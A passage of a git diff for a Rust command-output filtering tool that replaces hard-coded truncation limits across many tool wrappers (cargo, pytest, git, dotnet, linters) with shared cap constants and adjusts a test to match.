MAX_KUBECTL_SERVICES: usize = CAP_LIST; for line in all_lines.iter().take(MAX_KUBECTL_SERVICES) { out.push_str(&format!("{}\n", line)); } @@ -460,7 +457,7 @@ fn kubectl_logs(args: &[String], _verbose: u8) -> Result { /// Expects tab-separated lines: Name\tImage\tStatus\tPorts /// (no header row — `--format` output is headerless) pub fn format_compose_ps(raw: &str) -> String { - const MAX_COMPOSE_SERVICES: usize = 20; + const MAX_COMPOSE_SERVICES: usize = CAP_LIST; let lines: Vec<&str> = raw.lines().filter(|l| !l.trim().is_empty()).collect(); if lines.is_empty() { diff --git a/src/cmds/cloud/psql_cmd.rs b/src/cmds/cloud/psql_cmd.rs index 4b4e5f2c26..c250538e17 100644 --- a/src/cmds/cloud/psql_cmd.rs +++ b/src/cmds/cloud/psql_cmd.rs @@ -4,13 +4,14 @@ //! and produces compact tab-separated or key=value output. use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::CAP_LIST; use crate::core::utils::resolved_command; use anyhow::Result; use lazy_static::lazy_static; use regex::Regex; -const MAX_TABLE_ROWS: usize = 30; -const MAX_EXPANDED_RECORDS: usize = 20; +const MAX_TABLE_ROWS: usize = CAP_LIST; +const MAX_EXPANDED_RECORDS: usize = CAP_LIST; lazy_static! { static ref EXPANDED_RECORD: Regex = Regex::new(r"-\[ RECORD \d+ \]-").unwrap(); @@ -250,10 +251,10 @@ mod tests { let input = lines.join("\n"); let result = filter_table(&input); - assert!(result.contains("... +10 more rows")); - // Header + 30 data rows + overflow line + assert!(result.contains("... +20 more rows")); + // Header + MAX_TABLE_ROWS data rows + overflow line let result_lines: Vec<&str> = result.lines().collect(); - assert_eq!(result_lines.len(), 32); // 1 header + 30 data + 1 overflow + assert_eq!(result_lines.len(), MAX_TABLE_ROWS + 2); // 1 header + data + 1 overflow } #[test] diff --git a/src/cmds/dotnet/dotnet_cmd.rs b/src/cmds/dotnet/dotnet_cmd.rs index 32d0244862..d16f8bc6ff 100644 --- a/src/cmds/dotnet/dotnet_cmd.rs +++ b/src/cmds/dotnet/dotnet_cmd.rs @@ -3,6 +3,7 @@ use crate::binlog; use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::{CAP_ERRORS, CAP_LIST, CAP_WARNINGS}; use crate::core::utils::{resolved_command, truncate}; use crate::dotnet_format_report; use crate::dotnet_trx; @@ -369,7 +370,7 @@ fn format_dotnet_format_output( let mut output = format!("Format: {} files need formatting", changed_count); output.push_str("\n---------------------------------------"); - const MAX_FORMAT_FILES: usize = 20; + const MAX_FORMAT_FILES: usize = CAP_LIST; for (index, file) in summary .files_with_changes .iter() @@ -998,8 +999,8 @@ fn format_build_output(summary: &binlog::BuildSummary, _binlog_path: &Path) -> S let status_icon = if summary.succeeded { "ok" } else { "fail" }; let duration = summary.duration_text.as_deref().unwrap_or("unknown"); - const MAX_BUILD_ERRORS: usize = 20; - const MAX_BUILD_WARNINGS: usize = 10; + const MAX_BUILD_ERRORS: usize = CAP_ERRORS; + const MAX_BUILD_WARNINGS: usize = CAP_WARNINGS; let mut errors = String::new(); if !summary.errors.is_empty() { @@ -1125,25 +1126,26 @@ fn format_test_output( ) }; + const MAX_DOTNET_FAILURES: usize = CAP_WARNINGS; let mut failed_tests_section = String::new(); if has_failures && !summary.failed_tests.is_empty() { failed_tests_section.push_str("Failed Tests:\n"); - for failed in summary.failed_tests.iter().take(15) { + for failed in summary.failed_tests.iter().take(MAX_DOTNET_FAILURES) { failed_tests_section.push_str(&format!(" {}\n", failed.name)); for detail in &failed.details { failed_tests_section.push_str(&format!(" {}\n", truncate(detail, 320))); } failed_tests_section.push('\n'); } - if summary.failed_tests.len() > 15 { + if summary.failed_tests.len() > MAX_DOTNET_FAILURES { failed_tests_section.push_str(&format!( "… +{} more failed tests\n", - summary.failed_tests.len() - 15 + summary.failed_tests.len() - MAX_DOTNET_FAILURES )); let all_failed = summary .failed_tests .iter() - .skip(15) + .skip(MAX_DOTNET_FAILURES) .map(|t| { let mut s = t.name.clone(); for detail in &t.details { @@ -1161,8 +1163,8 @@ fn format_test_output( } } - const MAX_TEST_ERRORS: usize = 10; - const MAX_TEST_WARNINGS: usize = 10; + const MAX_TEST_ERRORS: usize = CAP_WARNINGS; + const MAX_TEST_WARNINGS: usize = CAP_WARNINGS; let mut errors_section = String::new(); if !errors.is_empty() { @@ -1254,8 +1256,8 @@ fn format_restore_output( let status_icon = if has_errors { "fail" } else { "ok" }; let duration = summary.duration_text.as_deref().unwrap_or("unknown"); - const MAX_FORMAT_ERRORS: usize = 20; - const MAX_FORMAT_WARNINGS: usize = 10; + const MAX_FORMAT_ERRORS: usize = CAP_ERRORS; + const MAX_FORMAT_WARNINGS: usize = CAP_WARNINGS; let mut errors_section = String::new(); if !errors.is_empty() { diff --git a/src/cmds/git/gh_cmd.rs b/src/cmds/git/gh_cmd.rs index cd22e3f919..c22c16b401 100644 --- a/src/cmds/git/gh_cmd.rs +++ b/src/cmds/git/gh_cmd.rs @@ -4,6 +4,7 @@ //! Focuses on extracting essential information from JSON outputs. use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::CAP_LIST; use crate::core::utils::{ok_confirmation, resolved_command, truncate}; use crate::git; use anyhow::Result; @@ -260,7 +261,7 @@ fn format_pr_list(json: &Value, ultra_compact: bool) -> String { format!(" {} #{} {} ({})", icon, number, truncate(title, 60), author) }) .collect(); - const MAX_LIST: usize = 20; + const MAX_LIST: usize = CAP_LIST; for line in all_lines.iter().take(MAX_LIST) { out.push_str(&format!("{}\n", line)); } @@ -607,7 +608,7 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { format!(" {} #{} {}", icon, number, truncate(title, 60)) }) .collect(); - const MAX_LIST: usize = 20; + const MAX_LIST: usize = CAP_LIST; for line in all_lines.iter().take(MAX_LIST) { out.push_str(&format!("{}\n", line)); } diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 622f45709f..ac0912229c 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -2,6 +2,7 @@ use crate::core::stream::{exec_capture, CaptureResult}; use crate::core::tracking; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{exit_code_from_output, exit_code_from_status, resolved_command}; use anyhow::{Context, Result}; use std::ffi::OsString; @@ -1446,12 +1447,16 @@ fn filter_branch_output(output: &str) -> String { .filter(|r| *r != ¤t && !local.contains(r)) .collect(); if !remote_only.is_empty() { + const MAX_REMOTE_BRANCHES: usize = CAP_WARNINGS; result.push(format!(" remote-only ({}):", remote_only.len())); - for b in remote_only.iter().take(10) { + for b in remote_only.iter().take(MAX_REMOTE_BRANCHES) { result.push(format!(" {}", b)); } - if remote_only.len() > 10 { - result.push(format!(" ... +{} more", remote_only.len() - 10)); + if remote_only.len() > MAX_REMOTE_BRANCHES { + result.push(format!( + " ... +{} more", + remote_only.len() - MAX_REMOTE_BRANCHES + )); } } } diff --git a/src/cmds/git/glab_cmd.rs b/src/cmds/git/glab_cmd.rs index 01a04055d8..a0282a2210 100644 --- a/src/cmds/git/glab_cmd.rs +++ b/src/cmds/git/glab_cmd.rs @@ -12,6 +12,7 @@ use super::git; use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; use crate::core::utils::{ok_confirmation, resolved_command, strip_ansi, truncate}; use anyhow::Result; use lazy_static::lazy_static; @@ -315,7 +316,7 @@ fn format_mr_list(json: &Value, ultra_compact: bool) -> String { format!(" {} !{} {} ({})", icon, iid, truncate(title, 60), author) }) .collect(); - const MAX_LIST: usize = 20; + const MAX_LIST: usize = CAP_LIST; for line in all_lines.iter().take(MAX_LIST) { filtered.push_str(&format!("{}\n", line)); } @@ -540,7 +541,7 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { format!(" {} #{} {}", icon, iid, truncate(title, 60)) }) .collect(); - const MAX_LIST: usize = 20; + const MAX_LIST: usize = CAP_LIST; for line in all_lines.iter().take(MAX_LIST) { filtered.push_str(&format!("{}\n", line)); } @@ -661,7 +662,7 @@ fn format_ci_list(json: &Value, ultra_compact: bool) -> String { format!(" {} #{} {} ({})", icon, id, status, ref_name) }) .collect(); - const MAX_CI_LIST: usize = 10; + const MAX_CI_LIST: usize = CAP_WARNINGS; for line in all_lines.iter().take(MAX_CI_LIST) { filtered.push_str(&format!("{}\n", line)); } diff --git a/src/cmds/git/gt_cmd.rs b/src/cmds/git/gt_cmd.rs index bfa06fd2c6..17234fe99d 100644 --- a/src/cmds/git/gt_cmd.rs +++ b/src/cmds/git/gt_cmd.rs @@ -2,6 +2,7 @@ use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::CAP_LIST; use crate::core::utils::{ok_confirmation, resolved_command, strip_ansi, truncate}; use anyhow::{Context, Result}; use lazy_static::lazy_static; @@ -168,7 +169,8 @@ fn passthrough_gt(subcommand: &str, args: &[String], verbose: u8) -> Result crate::core::runner::run_passthrough("gt", &os_args, verbose) } -const MAX_LOG_ENTRIES: usize = 15; +// gt log entries are multi-line — trim the list cap to keep token savings above 60%. +const MAX_LOG_ENTRIES: usize = CAP_LIST - 5; fn filter_gt_log_entries(input: &str) -> String { let trimmed = input.trim(); diff --git a/src/cmds/go/go_cmd.rs b/src/cmds/go/go_cmd.rs index f70f20945a..e962e3e1ca 100644 --- a/src/cmds/go/go_cmd.rs +++ b/src/cmds/go/go_cmd.rs @@ -2,6 +2,7 @@ use crate::core::runner; use crate::core::tracking; +use crate::core::truncate::CAP_ERRORS; use crate::core::utils::{exit_code_from_output, resolved_command, truncate}; use crate::golangci_cmd; use anyhow::{Context, Result}; @@ -587,7 +588,7 @@ pub(crate) fn filter_go_build(output: &str) -> String { result.push_str(&format!("Go build: {} errors\n", errors.len())); result.push_str("═══════════════════════════════════════\n"); - const MAX_GO_BUILD_ERRORS: usize = 20; + const MAX_GO_BUILD_ERRORS: usize = CAP_ERRORS; for (i, error) in errors.iter().take(MAX_GO_BUILD_ERRORS).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, truncate(error, 120))); } @@ -679,7 +680,7 @@ fn filter_go_vet(output: &str) -> String { result.push_str(&format!("Go vet: {} issues\n", issues.len())); result.push_str("═══════════════════════════════════════\n"); - const MAX_GO_VET_ISSUES: usize = 20; + const MAX_GO_VET_ISSUES: usize = CAP_ERRORS; for (i, issue) in issues.iter().take(MAX_GO_VET_ISSUES).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, truncate(issue, 120))); } diff --git a/src/cmds/go/golangci_cmd.rs b/src/cmds/go/golangci_cmd.rs index 384ff1855a..8c9ef84272 100644 --- a/src/cmds/go/golangci_cmd.rs +++ b/src/cmds/go/golangci_cmd.rs @@ -3,6 +3,7 @@ use crate::core::config; use crate::core::runner; use crate::core::stream::exec_capture; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{resolved_command, truncate}; use anyhow::Result; use serde::Deserialize; @@ -324,8 +325,9 @@ pub(crate) fn filter_golangci_json(output: &str, version: u32) -> String { } // Show top files + const MAX_GOLANGCI_FILES: usize = CAP_WARNINGS; result.push_str("Top files:\n"); - for (file, count) in file_counts.iter().take(10) { + for (file, count) in file_counts.iter().take(MAX_GOLANGCI_FILES) { let short_path = compact_path(file); result.push_str(&format!(" {} ({} issues)\n", short_path, count)); @@ -360,8 +362,11 @@ pub(crate) fn filter_golangci_json(output: &str, version: u32) -> String { } } - if file_counts.len() > 10 { - result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); + if file_counts.len() > MAX_GOLANGCI_FILES { + result.push_str(&format!( + "\n... +{} more files\n", + file_counts.len() - MAX_GOLANGCI_FILES + )); } result.trim().to_string() diff --git a/src/cmds/js/lint_cmd.rs b/src/cmds/js/lint_cmd.rs index 78e146f35f..13fa954640 100644 --- a/src/cmds/js/lint_cmd.rs +++ b/src/cmds/js/lint_cmd.rs @@ -3,6 +3,7 @@ use crate::core::config; use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::{CAP_ERRORS, CAP_WARNINGS}; use crate::core::utils::{package_manager_exec, resolved_command, truncate}; use crate::mypy_cmd; use crate::ruff_cmd; @@ -282,7 +283,7 @@ fn filter_eslint_json(output: &str) -> String { } // Show top files with most issues, plus the top rules in each - const MAX_FILES: usize = 10; + const MAX_FILES: usize = CAP_WARNINGS; result.push_str("Top files:\n"); for (file_result, count) in by_file.iter().take(MAX_FILES) { let short_path = compact_path(&file_result.file_path); @@ -408,7 +409,7 @@ fn filter_pylint_json(output: &str) -> String { } // Show top files - const MAX_FILES: usize = 10; + const MAX_FILES: usize = CAP_WARNINGS; result.push_str("Top files:\n"); for (file, count) in file_counts.iter().take(MAX_FILES) { let short_path = compact_path(file); @@ -472,7 +473,7 @@ fn filter_generic_lint(output: &str) -> String { result.push_str(&format!("Lint: {} errors, {} warnings\n", errors, warnings)); result.push_str("═══════════════════════════════════════\n"); - const MAX_ISSUES: usize = 20; + const MAX_ISSUES: usize = CAP_ERRORS; for issue in issues.iter().take(MAX_ISSUES) { result.push_str(&format!("{}\n", truncate(issue, 100))); } diff --git a/src/cmds/js/next_cmd.rs b/src/cmds/js/next_cmd.rs index ab28f5b8bf..1f15a2af0d 100644 --- a/src/cmds/js/next_cmd.rs +++ b/src/cmds/js/next_cmd.rs @@ -1,6 +1,7 @@ //! Filters Next.js build output down to route metrics and bundle sizes. use crate::core::runner; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{resolved_command, strip_ansi, tool_exists, truncate}; use anyhow::Result; use regex::Regex; @@ -131,7 +132,8 @@ fn filter_next_build(output: &str) -> String { // Sort by size (descending) and show top 10 bundles.sort_by(|a, b| b.1.partial_cmp(&a.1).unwrap_or(std::cmp::Ordering::Equal)); - for (route, size, pct_change) in bundles.iter().take(10) { + const MAX_BUNDLES: usize = CAP_WARNINGS; + for (route, size, pct_change) in bundles.iter().take(MAX_BUNDLES) { let warning_marker = if let Some(pct) = pct_change { if *pct > 10.0 { format!(" [warn] (+{:.0}%)", pct) @@ -150,8 +152,11 @@ fn filter_next_build(output: &str) -> String { )); } - if bundles.len() > 10 { - result.push_str(&format!("\n ... +{} more routes\n", bundles.len() - 10)); + if bundles.len() > MAX_BUNDLES { + result.push_str(&format!( + "\n ... +{} more routes\n", + bundles.len() - MAX_BUNDLES + )); } result.push('\n'); diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index 0add005557..6dd53f08c3 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -2,6 +2,7 @@ use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::CAP_LIST; use crate::core::utils::resolved_command; use anyhow::{Context, Result}; use serde::Deserialize; @@ -13,10 +14,7 @@ use crate::parser::{ DependencyState, FormatMode, OutputParser, ParseResult, TokenFormatter, }; -/// Max packages shown per category in `pnpm list` (mixed prod+dev). -/// --prod and --dev filtered calls are never capped — they serve as hint -/// targets so the LLM can retrieve the packages hidden by this cap. -const MAX_LISTING: usize = 20; +const MAX_LISTING: usize = CAP_LIST; /// pnpm list JSON output structure #[derive(Debug, Deserialize)] diff --git a/src/cmds/js/prettier_cmd.rs b/src/cmds/js/prettier_cmd.rs index 5a6b6c6bc6..685b2f51de 100644 --- a/src/cmds/js/prettier_cmd.rs +++ b/src/cmds/js/prettier_cmd.rs @@ -1,6 +1,7 @@ //! Filters Prettier output to show only files that need formatting. use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::package_manager_exec; use anyhow::Result; @@ -95,14 +96,15 @@ pub fn filter_prettier_output(output: &str) -> String { )); result.push_str("═══════════════════════════════════════\n"); - for (i, file) in files_to_format.iter().take(10).enumerate() { + const MAX_PRETTIER_FILES: usize = CAP_WARNINGS; + for (i, file) in files_to_format.iter().take(MAX_PRETTIER_FILES).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, file)); } - if files_to_format.len() > 10 { + if files_to_format.len() > MAX_PRETTIER_FILES { result.push_str(&format!( "\n... +{} more files\n", - files_to_format.len() - 10 + files_to_format.len() - MAX_PRETTIER_FILES )); } diff --git a/src/cmds/jvm/gradlew_cmd.rs b/src/cmds/jvm/gradlew_cmd.rs index ad2a2987e3..68d03acfef 100644 --- a/src/cmds/jvm/gradlew_cmd.rs +++ b/src/cmds/jvm/gradlew_cmd.rs @@ -1,5 +1,6 @@ use crate::core::runner::{self, RunOptions}; use crate::core::stream::StreamFilter; +use crate::core::truncate::CAP_LIST; use crate::core::utils::resolved_command; use anyhow::Result; use lazy_static::lazy_static; @@ -507,13 +508,17 @@ fn filter_dependencies(output: &str) -> String { configs.len() ); + const MAX_GRADLE_DEPS: usize = CAP_LIST; for (config, deps) in &configs { result.push_str(&format!("\n{} ({}):\n", config, deps.len())); - for dep in deps.iter().take(20) { + for dep in deps.iter().take(MAX_GRADLE_DEPS) { result.push_str(&format!(" {}\n", dep)); } - if deps.len() > 20 { - result.push_str(&format!(" ... +{} more\n", deps.len() - 20)); + if deps.len() > MAX_GRADLE_DEPS { + result.push_str(&format!( + " ... +{} more\n", + deps.len() - MAX_GRADLE_DEPS + )); } } diff --git a/src/cmds/python/pip_cmd.rs b/src/cmds/python/pip_cmd.rs index 25f7c3c8ca..037dd58a4b 100644 --- a/src/cmds/python/pip_cmd.rs +++ b/src/cmds/python/pip_cmd.rs @@ -2,6 +2,7 @@ use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::{CAP_INVENTORY, CAP_LIST}; use crate::core::utils::{resolved_command, tool_exists}; use anyhow::{Context, Result}; use serde::Deserialize; @@ -170,7 +171,7 @@ fn filter_pip_list(output: &str) -> String { // visible. The compression here is structural (drop the alignment padding, // group by initial); the per-group cap is just a safety bound for // pathological environments, not a normal-case truncation. - const MAX_PER_LETTER: usize = 50; + const MAX_PER_LETTER: usize = CAP_INVENTORY; for letter in letters { let pkgs = by_letter.get(letter).unwrap(); result.push_str(&format!("\n[{}]\n", letter.to_uppercase())); @@ -204,7 +205,8 @@ fn filter_pip_outdated(output: &str) -> String { result.push_str(&format!("pip outdated: {} packages\n", packages.len())); result.push_str("═══════════════════════════════════════\n"); - for (i, pkg) in packages.iter().take(20).enumerate() { + const MAX_PIP_PACKAGES: usize = CAP_LIST; + for (i, pkg) in packages.iter().take(MAX_PIP_PACKAGES).enumerate() { let latest = pkg.latest_version.as_deref().unwrap_or("unknown"); result.push_str(&format!( "{}. {} ({} → {})\n", @@ -215,8 +217,11 @@ fn filter_pip_outdated(output: &str) -> String { )); } - if packages.len() > 20 { - result.push_str(&format!("\n... +{} more packages\n", packages.len() - 20)); + if packages.len() > MAX_PIP_PACKAGES { + result.push_str(&format!( + "\n... +{} more packages\n", + packages.len() - MAX_PIP_PACKAGES + )); } result.push_str("\n[hint] Run `pip install --upgrade ` to update\n"); diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index 0bd5e9aa61..25cdf4c2d6 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -1,10 +1,12 @@ //! Filters pytest output to show only failures and the summary line. use crate::core::runner; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{resolved_command, tool_exists, truncate}; use anyhow::Result; -const MAX_XFAIL: usize = 10; +const MAX_XFAIL: usize = CAP_WARNINGS; +const MAX_PYTEST_FAILURES: usize = CAP_WARNINGS; #[derive(Debug, PartialEq)] enum ParseState { @@ -225,7 +227,7 @@ fn build_pytest_summary( // Show failures (limit to key information) result.push_str("\nFailures:\n"); - for (i, failure) in failures.iter().take(5).enumerate() { + for (i, failure) in failures.iter().take(MAX_PYTEST_FAILURES).enumerate() { // Extract test name and key error info let lines: Vec<&str> = failure.lines().collect(); @@ -270,8 +272,11 @@ fn build_pytest_summary( } } - if failures.len() > 5 { - result.push_str(&format!("\n… +{} more failures\n", failures.len() - 5)); + if failures.len() > MAX_PYTEST_FAILURES { + result.push_str(&format!( + "\n… +{} more failures\n", + failures.len() - MAX_PYTEST_FAILURES + )); let all_failures = failures.join("\n\n"); if let Some(hint) = crate::core::tee::force_tee_hint(&all_failures, "pytest-failures") { result.push_str(&format!(" {}\n", hint)); diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index 1468483cd4..92c644f076 100644 --- a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -2,6 +2,7 @@ use crate::core::config; use crate::core::runner; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{resolved_command, truncate}; use anyhow::Result; use serde::Deserialize; @@ -149,9 +150,11 @@ pub fn filter_ruff_check_json(output: &str) -> String { let mut rule_counts: Vec<_> = by_rule.iter().collect(); rule_counts.sort_by(|a, b| b.1.cmp(a.1)); + const MAX_RUFF_RULES: usize = CAP_WARNINGS; + const MAX_RUFF_FILES: usize = CAP_WARNINGS; if !rule_counts.is_empty() { result.push_str("Top rules:\n"); - for (rule, count) in rule_counts.iter().take(10) { + for (rule, count) in rule_counts.iter().take(MAX_RUFF_RULES) { result.push_str(&format!(" {} ({}x)\n", rule, count)); } result.push('\n'); @@ -159,7 +162,7 @@ pub fn filter_ruff_check_json(output: &str) -> String { // Show top files result.push_str("Top files:\n"); - for (file, count) in file_counts.iter().take(10) { + for (file, count) in file_counts.iter().take(MAX_RUFF_FILES) { let short_path = compact_path(file); result.push_str(&format!(" {} ({} issues)\n", short_path, count)); @@ -177,8 +180,11 @@ pub fn filter_ruff_check_json(output: &str) -> String { } } - if file_counts.len() > 10 { - result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); + if file_counts.len() > MAX_RUFF_FILES { + result.push_str(&format!( + "\n... +{} more files\n", + file_counts.len() - MAX_RUFF_FILES + )); } // List all violations with file:line:col — format compression (JSON → one @@ -267,14 +273,19 @@ pub fn filter_ruff_format(output: &str) -> String { )); result.push_str("═══════════════════════════════════════\n"); - for (i, file) in files_to_format.iter().take(10).enumerate() { + const MAX_RUFF_FORMAT_FILES: usize = CAP_WARNINGS; + for (i, file) in files_to_format + .iter() + .take(MAX_RUFF_FORMAT_FILES) + .enumerate() + { result.push_str(&format!("{}. {}\n", i + 1, compact_path(file))); } - if files_to_format.len() > 10 { + if files_to_format.len() > MAX_RUFF_FORMAT_FILES { result.push_str(&format!( "\n... +{} more files\n", - files_to_format.len() - 10 + files_to_format.len() - MAX_RUFF_FORMAT_FILES )); } diff --git a/src/cmds/ruby/rake_cmd.rs b/src/cmds/ruby/rake_cmd.rs index 76f64db75c..4336b38469 100644 --- a/src/cmds/ruby/rake_cmd.rs +++ b/src/cmds/ruby/rake_cmd.rs @@ -5,9 +5,12 @@ //! Uses `ruby_exec("rake")` to auto-detect `bundle exec`. use crate::core::runner; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{ruby_exec, strip_ansi}; use anyhow::Result; +const MAX_RAKE_FAILURES: usize = CAP_WARNINGS; + /// Decide whether to use `rake test` or `rails test` based on args. /// /// `rake test` only supports a single file via `TEST=path` and ignores positional @@ -198,7 +201,7 @@ fn build_minitest_summary(summary: &str, failures: &[String]) -> String { result.push('\n'); - for (i, failure) in failures.iter().take(10).enumerate() { + for (i, failure) in failures.iter().take(MAX_RAKE_FAILURES).enumerate() { let lines: Vec<&str> = failure.lines().collect(); // First line is like " 1) Failure:" or " 1) Error:" if let Some(header) = lines.first() { @@ -214,13 +217,16 @@ fn build_minitest_summary(summary: &str, failures: &[String]) -> String { )); } } - if i < failures.len().min(10) - 1 { + if i < failures.len().min(MAX_RAKE_FAILURES) - 1 { result.push('\n'); } } - if failures.len() > 10 { - result.push_str(&format!("\n... +{} more failures\n", failures.len() - 10)); + if failures.len() > MAX_RAKE_FAILURES { + result.push_str(&format!( + "\n... +{} more failures\n", + failures.len() - MAX_RAKE_FAILURES + )); } result.trim().to_string() diff --git a/src/cmds/ruby/rspec_cmd.rs b/src/cmds/ruby/rspec_cmd.rs index cd909b3010..46a4bf5639 100644 --- a/src/cmds/ruby/rspec_cmd.rs +++ b/src/cmds/ruby/rspec_cmd.rs @@ -6,12 +6,16 @@ //! fails to parse. use crate::core::runner; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{fallback_tail, ruby_exec, truncate}; use anyhow::Result; use lazy_static::lazy_static; use regex::Regex; use serde::Deserialize; +// rspec failures carry full backtraces — show fewer than a generic warning list. +const MAX_RSPEC_FAILURES: usize = CAP_WARNINGS - 5; + // ── Noise-stripping regex patterns ────────────────────────────────────────── lazy_static! { @@ -224,7 +228,7 @@ fn build_rspec_summary(rspec: &RspecOutput) -> String { result.push_str("\nFailures:\n"); - for (i, example) in failures.iter().take(5).enumerate() { + for (i, example) in failures.iter().take(MAX_RSPEC_FAILURES).enumerate() { result.push_str(&format!( "{}. ❌ {}\n {}:{}\n", i + 1, @@ -251,13 +255,16 @@ fn build_rspec_summary(rspec: &RspecOutput) -> String { } } - if i < failures.len().min(5) - 1 { + if i < failures.len().min(MAX_RSPEC_FAILURES) - 1 { result.push('\n'); } } - if failures.len() > 5 { - result.push_str(&format!("\n... +{} more failures\n", failures.len() - 5)); + if failures.len() > MAX_RSPEC_FAILURES { + result.push_str(&format!( + "\n... +{} more failures\n", + failures.len() - MAX_RSPEC_FAILURES + )); } result.trim().to_string() @@ -347,14 +354,17 @@ fn filter_rspec_text(output: &str) -> String { } let mut result = format!("RSpec: {}\n", summary_line); result.push_str("═══════════════════════════════════════\n\n"); - for (i, failure) in failures.iter().take(5).enumerate() { + for (i, failure) in failures.iter().take(MAX_RSPEC_FAILURES).enumerate() { result.push_str(&format!("{}. ❌ {}\n", i + 1, failure)); - if i < failures.len().min(5) - 1 { + if i < failures.len().min(MAX_RSPEC_FAILURES) - 1 { result.push('\n'); } } - if failures.len() > 5 { - result.push_str(&format!("\n... +{} more failures\n", failures.len() - 5)); + if failures.len() > MAX_RSPEC_FAILURES { + result.push_str(&format!( + "\n... +{} more failures\n", + failures.len() - MAX_RSPEC_FAILURES + )); } return result.trim().to_string(); } diff --git a/src/cmds/rust/cargo_cmd.rs b/src/cmds/rust/cargo_cmd.rs index eee916d2a5..5b8152ce0f 100644 --- a/src/cmds/rust/cargo_cmd.rs +++ b/src/cmds/rust/cargo_cmd.rs @@ -2,6 +2,7 @@ use crate::core::runner; use crate::core::stream::{BlockHandler, BlockStreamFilter, StreamFilter}; +use crate::core::truncate::{CAP_ERRORS, CAP_LIST, CAP_WARNINGS}; use crate::core::utils::{resolved_command, truncate}; use anyhow::Result; use std::cmp::Ordering; @@ -527,7 +528,8 @@ fn filter_cargo_install(output: &str) -> String { } result.push_str("═══════════════════════════════════════\n"); - for (i, err) in errors.iter().enumerate().take(15) { + const MAX_INSTALL_ERRORS: usize = CAP_ERRORS; + for (i, err) in errors.iter().enumerate().take(MAX_INSTALL_ERRORS) { result.push_str(err); result.push('\n'); if i < errors.len() - 1 { @@ -535,8 +537,11 @@ fn filter_cargo_install(output: &str) -> String { } } - if errors.len() > 15 { - result.push_str(&format!("\n… +{} more issues\n", errors.len() - 15)); + if errors.len() > MAX_INSTALL_ERRORS { + result.push_str(&format!( + "\n… +{} more issues\n", + errors.len() - MAX_INSTALL_ERRORS + )); let all_errors = errors.join("\n\n"); if let Some(hint) = crate::core::tee::force_tee_hint(&all_errors, "cargo-build-errors") { @@ -832,15 +837,19 @@ fn filter_cargo_build(output: &str) -> String { "cargo build: {} errors, {} warnings ({} crates)\n═══════════════════════════════════════\n", handler.error_count, handler.warnings, handler.compiled ); - for (i, blk) in blocks.iter().enumerate().take(15) { + const MAX_CHECK_BLOCKS: usize = CAP_ERRORS; + for (i, blk) in blocks.iter().enumerate().take(MAX_CHECK_BLOCKS) { result.push_str(&blk.join("\n")); result.push('\n'); if i < blocks.len() - 1 { result.push('\n'); } } - if blocks.len() > 15 { - result.push_str(&format!("\n… +{} more issues\n", blocks.len() - 15)); + if blocks.len() > MAX_CHECK_BLOCKS { + result.push_str(&format!( + "\n… +{} more issues\n", + blocks.len() - MAX_CHECK_BLOCKS + )); let all_blocks: String = blocks .iter() .map(|b| b.join("\n")) @@ -1041,7 +1050,7 @@ pub(crate) fn filter_cargo_test(output: &str) -> String { if !failures.is_empty() { result.push_str(&format!("FAILURES ({}):\n", failures.len())); result.push_str("═══════════════════════════════════════\n"); - const MAX_FAILURES: usize = 10; + const MAX_FAILURES: usize = CAP_WARNINGS; for (i, failure) in failures.iter().enumerate().take(MAX_FAILURES) { result.push_str(&format!("{}. {}\n", i + 1, truncate(failure, 200))); } @@ -1201,15 +1210,19 @@ fn filter_cargo_clippy(output: &str) -> String { // Show full error blocks so developers can see what needs fixing if !error_blocks.is_empty() { + const MAX_CLIPPY_ERRORS: usize = CAP_WARNINGS; result.push_str("\nErrors:\n"); - for block in error_blocks.iter().take(10) { + for block in error_blocks.iter().take(MAX_CLIPPY_ERRORS) { for block_line in block { result.push_str(&format!(" {}\n", truncate(block_line, 160))); } result.push('\n'); } - if error_blocks.len() > 10 { - result.push_str(&format!(" … +{} more errors\n", error_blocks.len() - 10)); + if error_blocks.len() > MAX_CLIPPY_ERRORS { + result.push_str(&format!( + " … +{} more errors\n", + error_blocks.len() - MAX_CLIPPY_ERRORS + )); let all_blocks: String = error_blocks .iter() .map(|b| b.join("\n")) @@ -1227,7 +1240,7 @@ fn filter_cargo_clippy(output: &str) -> String { let mut rule_counts: Vec<_> = by_rule.iter().collect(); rule_counts.sort_by_key(|b| std::cmp::Reverse(b.1.len())); - const MAX_RULES: usize = 15; + const MAX_RULES: usize = CAP_LIST; for (rule, locations) in rule_counts.iter().take(MAX_RULES) { result.push_str(&format!(" {} ({}x)\n", rule, locations.len())); 